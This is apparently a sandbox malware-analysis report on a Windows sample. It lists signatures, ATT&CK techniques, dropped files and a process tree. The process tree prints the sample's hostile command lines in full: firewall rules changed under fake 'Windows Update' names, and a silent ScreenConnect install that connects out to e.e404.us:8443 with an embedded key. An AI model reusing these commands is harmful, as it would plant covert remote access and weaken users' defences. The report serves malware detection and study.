Overview

overview

10

Static

static

10

2026-11-03...at.exe

windows10-2004-x64

9

2026-11-03...at.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    149s
  • max time network
    130s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/11/2026, 20:24

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe
  • Size 12.2MB
  • Sample261104-y65m3aef52
  • SHA256 08c920d5ceb9d1ddfdd3ebb743113889466d09a1e680bdefd247d35e18225cb5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoverypersistenceprivilege_escalationransomwarerevoked_codesignspywarestealertrojan

Malware Config

Signatures

  • Custom signature
    Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
  • Custom signature
    Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Custom signature
    Detects encrypted or obfuscated .NET executables 1 IoCs
  • Custom signature
    Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Modifies Windows Firewall 2 TTPs 6 IoCs
    defense_evasion
  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 46 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 26 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 24 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 28 IoCs
  • Modifies registry class 37 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 59 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe"
    1⤵
    • Sets service image path in registry
    • Loads dropped DLL
    • Enumerates connected drives
    • Reads the TCP/IP host and domain name from the registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" http delete sslcert ipport=0.0.0.0:443
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      PID:2548
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" http add sslcert ipport=0.0.0.0:443 certhash=1FAC47B8E9B56214B57A9BE2B5E7EECFCDAD52E9 appid={9e513724-0968-43f5-91cf-a30c8059dff9}
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      PID:2936
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="Windows Update Web"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:2008
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="Windows Update Relay"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:1808
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="ScreenConnect Web"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:820
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall delete rule name="ScreenConnect Relay"
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:4140
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall add rule name="Windows Update Web" dir=in action=allow protocol=TCP localport=443
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:2348
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh.exe" advfirewall firewall add rule name="Windows Update Relay" dir=in action=allow protocol=TCP localport=8443
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:2368
    • C:\Users\Admin\AppData\Local\Temp\wu-dca68af9ad5c497781be8ea6dcd52393.exe
      "C:\Users\Admin\AppData\Local\Temp\wu-dca68af9ad5c497781be8ea6dcd52393.exe" --install-dir "C:\ProgramData\uhssvc" --mode silent --payload-file "C:\Users\Admin\AppData\Local\Temp\2026-11-03_5474941f8b883e6c75aa5c9b23621e0f_glassworm_hijackloader_icedid_njrat.exe" --payload-args "-Silent -TagSessions -HostTagSessions -NoLocalMarkerExec -NoShipLogs" --parallel 4
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1676
      • C:\Users\Admin\AppData\Local\Temp\wu-dca68af9ad5c497781be8ea6dcd52393.exe
        "C:\Users\Admin\AppData\Local\Temp\wu-dca68af9ad5c497781be8ea6dcd52393.exe" --gate-worker "C:\Users\Admin\AppData\Local\Temp\msoffice_telemetry\probe_uhssvc\ScreenConnect.WindowsClient.exe" "C:\ProgramData\uhssvc"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3636
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          4⤵
            PID:2008
        • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
          "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" ?e=Access&y=Guest&h=e.e404.us&p=8443&s=4e941739-669e-4636-a2c2-9f98dfee184f&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAn3yWHD57Rki9HBosxyLzmwAAAAACAAAAAAAQZgAAAAEAACAAAAA3nCEspeC56lb41rQilyEOrtU3gKgaXfKMVX7HB9nLxAAAAAAOgAAAAAIAACAAAAC0O12B0D4ezfFexWJT3WBxvzoGjMx7gdhPuda0MzK5TKAEAABwM5YFsiwGknmLRBBmwQinI399UDXp8ci81NHB5k%2bFQA%2f4PmB3NJpl%2bk0b1pSb2U5BzPLSSX037fLZtHyu6NbdAKnRUuI3h1mp7h1nkIJvNfGwbm%2btbK7q86j8bqOl3nFjGQsrtNtbA39nWAOf5tVXfmx5qcqa%2fW2jWizcB0QSillp0WP4qfDkDLsOW3MNABj3ignz3QXlV3MiNQS%2bTL6tZawkyLcLxkBpPUIm6935xDN2N%2fJAj28Ez2vIZLE2qc6f5k66o8PP6lQ8%2fTL8pXE%2f%2fyDi8ImtHaaeolmWqryTlZAuevf%2fye7w35ENPKWsxdI2h5abDE4%2bS%2fy5eNwM4m7I5t1ErVzoV2dFBPN0yD0TCQjH9j3LHvizpEPRUetbkvS%2fz%2bv9nUjDuC8q4DOTbIrM6Xd8yDx61tEAMKuOaeBeAa%2ffII79XW2krcrqnvWcxzcKBTA9xyeLt2c97IVras%2f4vR39eUbvuuv4OKw7p9Bgp8LFYaALytr9VbEIJIH4eDSeHJmiJZzhPriAanWRTrp63%2fIZXvkfq5flGBWziqsi79kiHxIjHNKSsCdsRBAfszMqDhxUejDAoRVo6CAeA%2fQCFOQT2kNfyiOLD0NAH3bMn43KzkDuAEpbuYb3AOj0GVFQQwFP5%2fIBgwTR8dVDC2luW9XXNCyEcnEn4x5yMz%2bqH3k3WB67g6VlvoszbigNp1DVhsBGgkfDSGafQN2givS9csX0R1%2fFjlUrH8ZWCtKOdUh%2bbWFfmY3jfwR51wqoIPxaYIaO9zPlntvB5Kr9q%2bV4rwic0Y8jjjGG89UakS7ibQBCwSrCwoS8hD%2bNCRM6cN3UdbCTdh2yDXuBdRQCimEPMyUKTdhiUk2Xpe1HDxE872NDsIapqbv%2bn75MUgjRHfwqFbpguYzIR2bB1Zin28o9wfnVCBO%2fCAevYH4BQ5iHluJngnHIWkR2MnGZS%2f8UhI5nwwZnPMBM7XH0sJOQeAKPjVs%2b4uPUehltAoVGH22YIdo5SravtB%2b4IF4BSPMy%2fNeV1SvXxJuYwjQLsB5I%2f1N487OJVbNP235yl8TlIgxcaSEHUiZbDSKPZk%2btXxIFUL%2bP7iDSivH5hUGTGGjTEhobNUmgWV2Lo0xL4naisPq3E8KEUFaxLyUSAg6BJSGKWV5JNqwT8TaALKL6M37SGbUM9ssBiqBbcA4ZGzOvs7ePxQ7XMXwxCGGODHGQPTihl6f8CmPtmAh4DVCdTNqTmizoOr%2b4dg0CdTLB9ES6rEBf3ykVf63o9z7Kw1z94R6elYDOe7OG0OC1mc1UIwg2KzFxlPQ4LmsqlJ2wVCuJQkeZCl2%2fy4gaHF2l6LO0bc0Mi6s65l1tE08B3HmNoJnVjx0Vdce%2fWObxxVmqhpJjVbcnbx1lDezxw9MKdvyhdqqYaHlZ6iAJ7MxY5JUMo9yUkp8%2fT7LocotfEO2%2b%2fK8B5rHUrUTM%2bGoMXl4rVIB%2bkVt3jhncs5XOuRMWsdeBja1fLGB1MMZwiGVPSsRwGjf%2bRqjwk9pCqsk%2frN28cb%2fwXo4f%2b8kebEVrAT5fO2iRcB7kBNXgp5cDVYLPi3PXRXw5AuisoEAAAABW6kGb7FT%2bmP%2b%2bYopAYXPel93ZOlKIPsT%2b6whLyj4d9zGdXEbutskAgP0cnZgSQ0nBfTf5nwgvlmkzSQsQm7q4&c=Host&c=&c=&c=&c=&c=&c=&c=
          3⤵
          • Executes dropped EXE
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of WriteProcessMemory
          PID:1748
          • C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
            "C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=e.e404.us&p=8443&s=4e941739-669e-4636-a2c2-9f98dfee184f&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAn3yWHD57Rki9HBosxyLzmwAAAAACAAAAAAAQZgAAAAEAACAAAAA3nCEspeC56lb41rQilyEOrtU3gKgaXfKMVX7HB9nLxAAAAAAOgAAAAAIAACAAAAC0O12B0D4ezfFexWJT3WBxvzoGjMx7gdhPuda0MzK5TKAEAABwM5YFsiwGknmLRBBmwQinI399UDXp8ci81NHB5k%2bFQA%2f4PmB3NJpl%2bk0b1pSb2U5BzPLSSX037fLZtHyu6NbdAKnRUuI3h1mp7h1nkIJvNfGwbm%2btbK7q86j8bqOl3nFjGQsrtNtbA39nWAOf5tVXfmx5qcqa%2fW2jWizcB0QSillp0WP4qfDkDLsOW3MNABj3ignz3QXlV3MiNQS%2bTL6tZawkyLcLxkBpPUIm6935xDN2N%2fJAj28Ez2vIZLE2qc6f5k66o8PP6lQ8%2fTL8pXE%2f%2fyDi8ImtHaaeolmWqryTlZAuevf%2fye7w35ENPKWsxdI2h5abDE4%2bS%2fy5eNwM4m7I5t1ErVzoV2dFBPN0yD0TCQjH9j3LHvizpEPRUetbkvS%2fz%2bv9nUjDuC8q4DOTbIrM6Xd8yDx61tEAMKuOaeBeAa%2ffII79XW2krcrqnvWcxzcKBTA9xyeLt2c97IVras%2f4vR39eUbvuuv4OKw7p9Bgp8LFYaALytr9VbEIJIH4eDSeHJmiJZzhPriAanWRTrp63%2fIZXvkfq5flGBWziqsi79kiHxIjHNKSsCdsRBAfszMqDhxUejDAoRVo6CAeA%2fQCFOQT2kNfyiOLD0NAH3bMn43KzkDuAEpbuYb3AOj0GVFQQwFP5%2fIBgwTR8dVDC2luW9XXNCyEcnEn4x5yMz%2bqH3k3WB67g6VlvoszbigNp1DVhsBGgkfDSGafQN2givS9csX0R1%2fFjlUrH8ZWCtKOdUh%2bbWFfmY3jfwR51wqoIPxaYIaO9zPlntvB5Kr9q%2bV4rwic0Y8jjjGG89UakS7ibQBCwSrCwoS8hD%2bNCRM6cN3UdbCTdh2yDXuBdRQCimEPMyUKTdhiUk2Xpe1HDxE872NDsIapqbv%2bn75MUgjRHfwqFbpguYzIR2bB1Zin28o9wfnVCBO%2fCAevYH4BQ5iHluJngnHIWkR2MnGZS%2f8UhI5nwwZnPMBM7XH0sJOQeAKPjVs%2b4uPUehltAoVGH22YIdo5SravtB%2b4IF4BSPMy%2fNeV1SvXxJuYwjQLsB5I%2f1N487OJVbNP235yl8TlIgxcaSEHUiZbDSKPZk%2btXxIFUL%2bP7iDSivH5hUGTGGjTEhobNUmgWV2Lo0xL4naisPq3E8KEUFaxLyUSAg6BJSGKWV5JNqwT8TaALKL6M37SGbUM9ssBiqBbcA4ZGzOvs7ePxQ7XMXwxCGGODHGQPTihl6f8CmPtmAh4DVCdTNqTmizoOr%2b4dg0CdTLB9ES6rEBf3ykVf63o9z7Kw1z94R6elYDOe7OG0OC1mc1UIwg2KzFxlPQ4LmsqlJ2wVCuJQkeZCl2%2fy4gaHF2l6LO0bc0Mi6s65l1tE08B3HmNoJnVjx0Vdce%2fWObxxVmqhpJjVbcnbx1lDezxw9MKdvyhdqqYaHlZ6iAJ7MxY5JUMo9yUkp8%2fT7LocotfEO2%2b%2fK8B5rHUrUTM%2bGoMXl4rVIB%2bkVt3jhncs5XOuRMWsdeBja1fLGB1MMZwiGVPSsRwGjf%2bRqjwk9pCqsk%2frN28cb%2fwXo4f%2b8kebEVrAT5fO2iRcB7kBNXgp5cDVYLPi3PXRXw5AuisoEAAAABW6kGb7FT%2bmP%2b%2bYopAYXPel93ZOlKIPsT%2b6whLyj4d9zGdXEbutskAgP0cnZgSQ0nBfTf5nwgvlmkzSQsQm7q4&c=Host&c=&c=&c=&c=&c=&c=&c=" "1"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:4344
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 1220
              5⤵
              • Program crash
              PID:3156
        • C:\Windows\SYSTEM32\netstat.exe
          "netstat.exe" -ano -p tcp
          3⤵
          • System Network Connections Discovery
          • Gathers network information
          PID:2292
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3220
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E4A83B1EBB7168D5D4EC47E0F4B61007
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:372
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSIC698.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240699046 5 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4176
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 293D5AB03DC33E2033672161F9336A9E E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4480
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:2776
    • C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
      C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=e.e404.us&p=8443&s=4e941739-669e-4636-a2c2-9f98dfee184f&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:432
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "8c7aabf6-a3ef-4966-b370-edc43dc6f72d" "User"
        2⤵
        • Executes dropped EXE
        PID:548
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "f2dcbe15-5443-47c6-aa9b-eadb8de3d0f5" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3024
    • C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe
      "C:\ProgramData\uhssvc\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=e.e404.us&p=8443&s=4e941739-669e-4636-a2c2-9f98dfee184f&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAn3yWHD57Rki9HBosxyLzmwAAAAACAAAAAAAQZgAAAAEAACAAAAA3nCEspeC56lb41rQilyEOrtU3gKgaXfKMVX7HB9nLxAAAAAAOgAAAAAIAACAAAAC0O12B0D4ezfFexWJT3WBxvzoGjMx7gdhPuda0MzK5TKAEAABwM5YFsiwGknmLRBBmwQinI399UDXp8ci81NHB5k%2bFQA%2f4PmB3NJpl%2bk0b1pSb2U5BzPLSSX037fLZtHyu6NbdAKnRUuI3h1mp7h1nkIJvNfGwbm%2btbK7q86j8bqOl3nFjGQsrtNtbA39nWAOf5tVXfmx5qcqa%2fW2jWizcB0QSillp0WP4qfDkDLsOW3MNABj3ignz3QXlV3MiNQS%2bTL6tZawkyLcLxkBpPUIm6935xDN2N%2fJAj28Ez2vIZLE2qc6f5k66o8PP6lQ8%2fTL8pXE%2f%2fyDi8ImtHaaeolmWqryTlZAuevf%2fye7w35ENPKWsxdI2h5abDE4%2bS%2fy5eNwM4m7I5t1ErVzoV2dFBPN0yD0TCQjH9j3LHvizpEPRUetbkvS%2fz%2bv9nUjDuC8q4DOTbIrM6Xd8yDx61tEAMKuOaeBeAa%2ffII79XW2krcrqnvWcxzcKBTA9xyeLt2c97IVras%2f4vR39eUbvuuv4OKw7p9Bgp8LFYaALytr9VbEIJIH4eDSeHJmiJZzhPriAanWRTrp63%2fIZXvkfq5flGBWziqsi79kiHxIjHNKSsCdsRBAfszMqDhxUejDAoRVo6CAeA%2fQCFOQT2kNfyiOLD0NAH3bMn43KzkDuAEpbuYb3AOj0GVFQQwFP5%2fIBgwTR8dVDC2luW9XXNCyEcnEn4x5yMz%2bqH3k3WB67g6VlvoszbigNp1DVhsBGgkfDSGafQN2givS9csX0R1%2fFjlUrH8ZWCtKOdUh%2bbWFfmY3jfwR51wqoIPxaYIaO9zPlntvB5Kr9q%2bV4rwic0Y8jjjGG89UakS7ibQBCwSrCwoS8hD%2bNCRM6cN3UdbCTdh2yDXuBdRQCimEPMyUKTdhiUk2Xpe1HDxE872NDsIapqbv%2bn75MUgjRHfwqFbpguYzIR2bB1Zin28o9wfnVCBO%2fCAevYH4BQ5iHluJngnHIWkR2MnGZS%2f8UhI5nwwZnPMBM7XH0sJOQeAKPjVs%2b4uPUehltAoVGH22YIdo5SravtB%2b4IF4BSPMy%2fNeV1SvXxJuYwjQLsB5I%2f1N487OJVbNP235yl8TlIgxcaSEHUiZbDSKPZk%2btXxIFUL%2bP7iDSivH5hUGTGGjTEhobNUmgWV2Lo0xL4naisPq3E8KEUFaxLyUSAg6BJSGKWV5JNqwT8TaALKL6M37SGbUM9ssBiqBbcA4ZGzOvs7ePxQ7XMXwxCGGODHGQPTihl6f8CmPtmAh4DVCdTNqTmizoOr%2b4dg0CdTLB9ES6rEBf3ykVf63o9z7Kw1z94R6elYDOe7OG0OC1mc1UIwg2KzFxlPQ4LmsqlJ2wVCuJQkeZCl2%2fy4gaHF2l6LO0bc0Mi6s65l1tE08B3HmNoJnVjx0Vdce%2fWObxxVmqhpJjVbcnbx1lDezxw9MKdvyhdqqYaHlZ6iAJ7MxY5JUMo9yUkp8%2fT7LocotfEO2%2b%2fK8B5rHUrUTM%2bGoMXl4rVIB%2bkVt3jhncs5XOuRMWsdeBja1fLGB1MMZwiGVPSsRwGjf%2bRqjwk9pCqsk%2frN28cb%2fwXo4f%2b8kebEVrAT5fO2iRcB7kBNXgp5cDVYLPi3PXRXw5AuisoEAAAABW6kGb7FT%2bmP%2b%2bYopAYXPel93ZOlKIPsT%2b6whLyj4d9zGdXEbutskAgP0cnZgSQ0nBfTf5nwgvlmkzSQsQm7q4&c=Host&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1540
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "f41d293a-6a91-448a-9da6-7752f0d06892" "User"
        2⤵
        • Executes dropped EXE
        PID:452
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "f3c21810-4bfa-4c19-9f0b-09c93bac88c9" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Modifies data under HKEY_USERS
        PID:3928
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "d1dcc098-56f4-4d39-a48e-46f9265ca79d" "System"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:3120
      • C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe
        "C:\ProgramData\uhssvc\ScreenConnect.WindowsClient.exe" "RunRole" "764f4853-b008-4b08-ba40-13dba3d5c06c" "User"
        2⤵
        • Executes dropped EXE
        PID:2368
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4344 -ip 4344
      1⤵
        PID:3756

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            1
            T1059

            Persistence

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Event Triggered Execution

            2
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Netsh Helper DLL

            1
            T1546.007

            Privilege Escalation

            Boot or Logon Autostart Execution

            2
            T1547

            Authentication Package

            1
            T1547.002

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Event Triggered Execution

            2
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Netsh Helper DLL

            1
            T1546.007

            Defense Evasion

            Impair Defenses

            1
            T1562

            Disable or Modify System Firewall

            1
            T1562.004

            Modify Registry

            2
            T1112

            Subvert Trust Controls

            1
            T1553

            Install Root Certificate

            1
            T1553.004

            Credential Access

            Credentials from Password Stores

            1
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Unsecured Credentials

            1
            T1552

            Credentials In Files

            1
            T1552.001

            Discovery

            Peripheral Device Discovery

            2
            T1120

            Query Registry

            3
            T1012

            System Information Discovery

            4
            T1082

            System Location Discovery

            1
            T1614

            System Language Discovery

            1
            T1614.001

            System Network Configuration Discovery

            1
            T1016

            System Network Connections Discovery

            1
            T1049

            Lateral Movement

            Collection

            Data from Local System

            1
            T1005

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            e58be7c.rbs
            • Path C:\Config.Msi\e58be7c.rbs
            • Size 213KB
            • SHA256 4f47360f6dd81a0df42a6dab9fb7e4a058cdd30adb1f720fe68dd042515c26dc
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Client.Override.en-US.resources
            • Path C:\ProgramData\uhssvc\Client.Override.en-US.resources
            • Size 278B
            • SHA256 f00b98bb2ecbf018ed20909993bf2bd9f01cbe45bafca9a48ee002ae364d8185
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Client.Override.resources
            • Path C:\ProgramData\uhssvc\Client.Override.resources
            • Size 27KB
            • SHA256 c3af7f4841897ac823ac920dd1de94c68e16747fe0fe483b97cd3f13ab072574
